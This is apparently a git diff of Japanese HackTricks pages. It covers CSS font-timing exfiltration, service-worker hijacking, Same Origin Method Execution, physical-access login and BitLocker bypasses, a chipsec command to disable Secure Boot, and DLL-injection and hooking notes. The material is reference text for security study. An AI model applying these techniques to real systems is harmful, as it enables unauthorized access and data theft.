### テキストノードの流出 (III): 数百のローカル「フォント」をタイミングで読み込むことによる文字セットの漏洩 (外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** これは [この書き込みの中での失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
この場合、一致が発生したときに**同じオリジンから数百の偽フォントを読み込むようにCSSを指定できます**。この方法で、**かかる時間を測定**し、文字が現れるかどうかを次のようなもので確認できます:
|
||||
この場合、一致が発生したときに**同じオリジンから数百の偽フォントを読み込むようにCSSを指示できます**。この方法で、**かかる時間を測定**し、文字が現れるかどうかを次のようなもので確認できます:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -449,38 +442,32 @@ url(/static/bootstrap.min.css?q=500);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
そして、ボットのコードは次のようになります:
|
||||
そしてボットのコードは次のようになります:
|
||||
```python
|
||||
browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
そのため、フォントが一致しない場合、ボットを訪問した際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合、フォントを取得するために複数のリクエストが送信され、ネットワークに継続的なアクティビティが発生します。その結果、停止条件を満たして応答を受け取るまでに時間がかかります。したがって、応答時間はフォントの一致を判断する指標として使用できます。
|
||||
そうであれば、フォントが一致しない場合、ボットを訪問した際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合、フォントを取得するために複数のリクエストが送信され、ネットワークは継続的に活動します。その結果、停止条件を満たして応答を受け取るまでに時間がかかります。したがって、応答時間はフォントの一致を判断する指標として使用できます。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -12,19 +12,11 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**サービスワーカー**は、ブラウザによってバックグラウンドで実行されるスクリプトで、任意のウェブページとは別に動作し、ウェブページやユーザーの操作を必要としない機能を有効にし、**オフラインおよびバックグラウンド処理**の能力を向上させます。サービスワーカーに関する詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で確認できます。脆弱なウェブドメイン内でサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページに対する被害者の操作を制御することができます。
|
||||
|
@ -102,7 +94,7 @@ self.importScripts(host + "/sw_extra.js");
|
|||
```
|
||||
### DOMクラッキングを使用して
|
||||
|
||||
DOMクラッキングが何であるかの詳細については、以下を確認してください:
|
||||
DOMクラッキングが何であるかの詳細については、次を確認してください:
|
||||
|
||||
{% content-ref url="dom-clobbering.md" %}
|
||||
[dom-clobbering.md](dom-clobbering.md)
|
||||
|
@ -116,12 +108,6 @@ SWが**`importScripts`**を呼び出すために使用しているURL/ドメイ
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -131,7 +117,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,52 +15,38 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Same Origin Method Execution
|
||||
|
||||
ページ内で制限されたJavaScriptを実行できる場合があります。例えば、[ **実行されるコールバック値を制御できる**](./#javascript-function)場合です。
|
||||
ページ内で制限されたjavascriptを実行できる場合があります。例えば、[ **コールバック値を制御できる場合**](./#javascript-function)です。
|
||||
|
||||
その場合、最も良いことの一つは、**DOMにアクセスして、そこに見つけた任意の**機密アクションを呼び出すことです(ボタンをクリックするなど)。しかし、通常、この脆弱性は**DOMに興味深いものがない小さなエンドポイント**で見つかります。
|
||||
その場合、最も良いことの一つは、**DOMにアクセスして、そこにある任意の**機密アクションを呼び出すことです(ボタンをクリックするなど)。しかし、通常、この脆弱性は**DOMに興味深いものがない小さなエンドポイント**で見つかります。
|
||||
|
||||
そのようなシナリオでは、この攻撃は非常に有用です。なぜなら、その目的は、**同じドメインの異なるページ内のDOM内での制限されたJS実行を悪用すること**だからです。
|
||||
そのようなシナリオでは、この攻撃は非常に有用です。なぜなら、その目的は**同じドメインの異なるページ内のDOMで制限されたJS実行を悪用すること**だからです。
|
||||
|
||||
基本的な攻撃の流れは次のとおりです:
|
||||
基本的に、攻撃の流れは次のとおりです:
|
||||
|
||||
* **悪用できるコールバックを見つける**(\[\w\\.\_]に制限される可能性があります)。
|
||||
* 制限がなく、任意のJSを実行できる場合は、通常のXSSとしてこれを悪用できます。
|
||||
* **被害者に攻撃者が制御するページを開かせる**。
|
||||
* **ページは別のウィンドウで自分自身を開きます**(新しいウィンドウは、最初のウィンドウを参照する**`opener`**オブジェクトを持ちます)。
|
||||
* **ページは別のウィンドウで自分自身を開く**(新しいウィンドウは最初のウィンドウを参照する**`opener`**オブジェクトを持ちます)。
|
||||
* **最初のページ**は、**興味深いDOM**がある**ページ**を読み込みます。
|
||||
* **二番目のページ**は、**コールバックを悪用して脆弱なページを読み込み**、**`opener`**オブジェクトを使用して**最初のページでアクションを実行します**(今や興味深いDOMを含んでいます)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
最初のページが二番目のページを作成した後に新しいURLにアクセスしても、**二番目のページの`opener`オブジェクトは新しいDOM内の最初のページへの有効な参照のままです**。
|
||||
|
||||
さらに、二番目のページがopenerオブジェクトを使用できるためには、**両方のページが同じオリジンに存在する必要があります**。これが、この脆弱性を悪用するために、同じオリジン内で何らかの**XSSを見つける必要がある理由です。
|
||||
さらに、二番目のページがopenerオブジェクトを使用できるためには、**両方のページが同じオリジンに存在する必要があります**。これが、この脆弱性を悪用するために**同じオリジンのXSSを見つける必要がある理由です**。
|
||||
{% endhint %}
|
||||
|
||||
### Exploitation
|
||||
|
||||
* このフォームを使用して、このタイプの脆弱性を悪用するための**PoCを生成**できます: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* クリックするHTML要素へのDOMパスを見つけるために、このブラウザ拡張機能を使用できます: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
* このフォームを使用して、**このタイプの脆弱性を悪用するPoCを生成できます**: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* クリックでHTML要素へのDOMパスを見つけるには、このブラウザ拡張機能を使用できます: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
|
||||
### Example
|
||||
|
||||
* 脆弱な例は[https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)で見つけることができます。
|
||||
* この例では、サーバーが**JavaScriptコードを生成し**、**コールバックパラメータの内容に基づいて**それをHTMLに**追加**しています: `<script>opener.{callbacl_content}</script>`。そのため、この例では`opener`の使用を明示的に示す必要はありません。
|
||||
* この例では、サーバーが**javascriptコードを生成し**、**コールバックパラメータの内容に基づいて**それをHTMLに**追加**しています: `<script>opener.{callbacl_content}</script>`。そのため、この例では`opener`の使用を明示的に示す必要はありません。
|
||||
* また、このCTFの解説も確認してください: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## References
|
||||
|
|
|
@ -10,59 +10,45 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## BIOSパスワードの回復とシステムセキュリティ
|
||||
|
||||
**BIOSのリセット**は、いくつかの方法で実行できます。ほとんどのマザーボードには**バッテリー**が含まれており、約**30分**取り外すことで、パスワードを含むBIOS設定がリセットされます。あるいは、**マザーボード上のジャンパー**を調整して、特定のピンを接続することでこれらの設定をリセットできます。
|
||||
**BIOSのリセット**は、いくつかの方法で実行できます。ほとんどのマザーボードには**バッテリー**が含まれており、これを約**30分**取り外すことで、パスワードを含むBIOS設定がリセットされます。あるいは、**マザーボード上のジャンパー**を調整して、特定のピンを接続することでこれらの設定をリセットできます。
|
||||
|
||||
ハードウェアの調整が不可能または実用的でない場合、**ソフトウェアツール**が解決策を提供します。**Kali Linux**のようなディストリビューションを使用して**Live CD/USB**からシステムを実行することで、BIOSパスワードの回復を支援する**_killCmos_**や**_CmosPWD_**などのツールにアクセスできます。
|
||||
ハードウェアの調整が不可能または実用的でない場合、**ソフトウェアツール**が解決策を提供します。**Kali Linux**のようなディストリビューションを使用して**Live CD/USB**からシステムを起動すると、BIOSパスワードの回復を支援する**_killCmos_**や**_CmosPWD_**のようなツールにアクセスできます。
|
||||
|
||||
BIOSパスワードが不明な場合、誤って**3回**入力すると、通常はエラーコードが表示されます。このコードは、[https://bios-pw.org](https://bios-pw.org)のようなウェブサイトで使用して、使用可能なパスワードを取得することができます。
|
||||
BIOSパスワードが不明な場合、誤って**3回**入力すると、通常はエラーコードが表示されます。このコードは、[https://bios-pw.org](https://bios-pw.org)のようなウェブサイトで使用して、使用可能なパスワードを取得するのに役立ちます。
|
||||
|
||||
### UEFIセキュリティ
|
||||
|
||||
従来のBIOSの代わりに**UEFI**を使用する現代のシステムでは、**chipsec**ツールを利用してUEFI設定を分析および変更し、**Secure Boot**を無効にすることができます。これは次のコマンドで実行できます:
|
||||
従来のBIOSの代わりに**UEFI**を使用している現代のシステムでは、ツール**chipsec**を使用してUEFI設定を分析および変更し、**Secure Boot**を無効にすることができます。これは、次のコマンドで実行できます:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### RAM分析とコールドブート攻撃
|
||||
|
||||
RAMは電源が切れた後、通常**1〜2分**間データを保持します。この持続性は、液体窒素などの冷却物質を適用することで**10分**に延長できます。この延長された期間中に、**dd.exe**や**volatility**などのツールを使用してメモリダンプを作成し、分析することができます。
|
||||
RAMは、電源が切れた後もデータを短時間保持します。通常は**1〜2分**ですが、液体窒素のような冷却物質を適用することで**10分**に延長できます。この延長された期間中に、**dd.exe**や**volatility**のようなツールを使用して**メモリダンプ**を作成し、分析できます。
|
||||
|
||||
### ダイレクトメモリアクセス(DMA)攻撃
|
||||
### 直接メモリアクセス(DMA)攻撃
|
||||
|
||||
**INCEPTION**は、**物理メモリ操作**のために設計されたツールで、**FireWire**や**Thunderbolt**のようなインターフェースと互換性があります。これは、任意のパスワードを受け入れるようにメモリをパッチすることでログイン手続きをバイパスすることを可能にします。ただし、**Windows 10**システムには効果がありません。
|
||||
**INCEPTION**は、**DMA**を介して**物理メモリ操作**を行うために設計されたツールで、**FireWire**や**Thunderbolt**のようなインターフェースと互換性があります。これは、任意のパスワードを受け入れるようにメモリをパッチすることでログイン手続きをバイパスできます。ただし、**Windows 10**システムには効果がありません。
|
||||
|
||||
### システムアクセスのためのLive CD/USB
|
||||
|
||||
**_sethc.exe_**や**_Utilman.exe_**のようなシステムバイナリを**_cmd.exe_**のコピーで変更することで、システム権限を持つコマンドプロンプトを提供できます。**chntpw**のようなツールを使用して、Windowsインストールの**SAM**ファイルを編集し、パスワードを変更することができます。
|
||||
**_sethc.exe_**や**_Utilman.exe_**のようなシステムバイナリを**_cmd.exe_**のコピーで変更することで、システム権限を持つコマンドプロンプトを提供できます。**chntpw**のようなツールを使用して、Windowsインストールの**SAM**ファイルを編集し、パスワードを変更できます。
|
||||
|
||||
**Kon-Boot**は、WindowsカーネルやUEFIを一時的に変更することで、パスワードを知らなくてもWindowsシステムにログインすることを容易にするツールです。詳細情報は[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)で確認できます。
|
||||
**Kon-Boot**は、WindowsカーネルまたはUEFIを一時的に変更することで、パスワードを知らなくてもWindowsシステムにログインできるツールです。詳細は[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)で確認できます。
|
||||
|
||||
### Windowsセキュリティ機能の取り扱い
|
||||
|
||||
#### ブートおよびリカバリーショートカット
|
||||
|
||||
- **Supr**:BIOS設定にアクセス。
|
||||
- **F8**:リカバリーモードに入る。
|
||||
- **Supr**: BIOS設定にアクセス。
|
||||
- **F8**: リカバリーモードに入る。
|
||||
- Windowsバナーの後に**Shift**を押すことで、自動ログインをバイパスできます。
|
||||
|
||||
#### BAD USBデバイス
|
||||
|
@ -75,23 +61,11 @@ RAMは電源が切れた後、通常**1〜2分**間データを保持します
|
|||
|
||||
### BitLocker暗号化のバイパス
|
||||
|
||||
BitLocker暗号化は、**回復パスワード**がメモリダンプファイル(**MEMORY.DMP**)内に見つかる場合、バイパスされる可能性があります。これには、**Elcomsoft Forensic Disk Decryptor**や**Passware Kit Forensic**のようなツールを利用できます。
|
||||
BitLocker暗号化は、**MEMORY.DMP**ファイル内に**リカバリーパスワード**が見つかればバイパスできる可能性があります。これには、**Elcomsoft Forensic Disk Decryptor**や**Passware Kit Forensic**のようなツールを使用できます。
|
||||
|
||||
### 回復キー追加のためのソーシャルエンジニアリング
|
||||
### リカバリーキー追加のためのソーシャルエンジニアリング
|
||||
|
||||
新しいBitLocker回復キーは、ユーザーに新しい回復キーをゼロで構成するコマンドを実行させることで追加でき、これにより復号化プロセスが簡素化されます。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
新しいBitLockerリカバリーキーは、ユーザーに新しいリカバリーキーをゼロで構成するコマンドを実行させることで追加でき、これにより復号化プロセスが簡素化されます。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -103,7 +77,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 一般的な
|
||||
|
||||
### ネットワーキング
|
||||
|
@ -65,8 +57,8 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
| --------------------------------------------------- | --------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[プロセスが実行中か確認\] | |
|
||||
| CreateFileW/A \[ファイルが存在するか確認\] | |
|
||||
|
||||
|
@ -129,7 +121,7 @@ DLLはプロセス内にマッピングされ、インポートアドレスを
|
|||
|
||||
プロセスからスレッドを見つけて悪意のあるDLLをロードさせる
|
||||
|
||||
1. 対象スレッドを見つける:CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||||
1. ターゲットスレッドを見つける:CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||||
2. スレッドを開く:OpenThread
|
||||
3. スレッドを一時停止する:SuspendThread
|
||||
4. 被害者プロセス内に悪意のあるDLLのパスを書く:VirtualAllocEx, WriteProcessMemory
|
||||
|
@ -150,18 +142,12 @@ DLLはプロセス内にマッピングされ、インポートアドレスを
|
|||
|
||||
## フック
|
||||
|
||||
* **SSDT**(**システムサービス記述子テーブル**)はカーネル関数(ntoskrnl.exe)またはGUIドライバ(win32k.sys)を指し示し、ユーザープロセスがこれらの関数を呼び出すことができる。
|
||||
* **SSDT**(**システムサービス記述子テーブル**)はカーネル関数(ntoskrnl.exe)またはGUIドライバ(win32k.sys)を指し、ユーザープロセスがこれらの関数を呼び出すことができる。
|
||||
* ルートキットはこれらのポインタを制御するアドレスに変更することがある。
|
||||
* **IRP**(**I/Oリクエストパケット**)はデータの断片を一つのコンポーネントから別のコンポーネントに送信する。カーネル内のほぼすべてのものがIRPを使用し、各デバイスオブジェクトにはフック可能な独自の関数テーブルがある:DKOM(ダイレクトカーネルオブジェクト操作)
|
||||
* **IRP**(**I/Oリクエストパケット**)は、あるコンポーネントから別のコンポーネントにデータの断片を送信する。カーネル内のほぼすべてのものがIRPを使用し、各デバイスオブジェクトにはフック可能な独自の関数テーブルがある:DKOM(ダイレクトカーネルオブジェクト操作)
|
||||
* **IAT**(**インポートアドレステーブル**)は依存関係を解決するのに役立つ。このテーブルをフックして呼び出されるコードをハイジャックすることが可能。
|
||||
* **EAT**(**エクスポートアドレステーブル**)フック。このフックは**ユーザーランド**から行うことができる。目的はDLLによってエクスポートされた関数をフックすること。
|
||||
* **インラインフック**:このタイプは達成が難しい。これは関数自体のコードを修正することを含む。おそらく、最初にジャンプを置くことによって。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
* **インラインフック**:このタイプは達成が難しい。関数自体のコードを修正することを含む。おそらく、最初にジャンプを置くことによって。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -172,7 +158,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,14 +15,6 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## ImGuiベースのリバースツール
|
||||
|
||||
ソフトウェア:
|
||||
|
@ -33,8 +25,8 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
オンライン:
|
||||
|
||||
